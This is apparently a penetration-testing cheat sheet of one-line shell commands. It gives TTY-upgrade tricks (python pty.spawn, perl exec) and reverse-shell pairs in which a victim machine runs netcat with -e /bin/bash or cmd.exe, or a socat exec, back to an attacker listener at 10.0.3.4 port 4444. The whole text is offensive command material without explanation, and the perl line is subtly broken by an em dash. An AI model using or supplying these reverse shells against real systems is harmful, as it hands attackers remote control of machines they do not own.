python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
perl —e 'exec "/bin/sh";'
Victim: nc -e /bin/bash 10.0.3.4 4444
Attacker: nc -lvp 4444
Victim: nc -e cmd.exe 10.0.3.4 4444
Attacker: nc -lvp 4444
Victim: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
Attacker: socat file:tty,raw,echo=0 tcp-listen:4444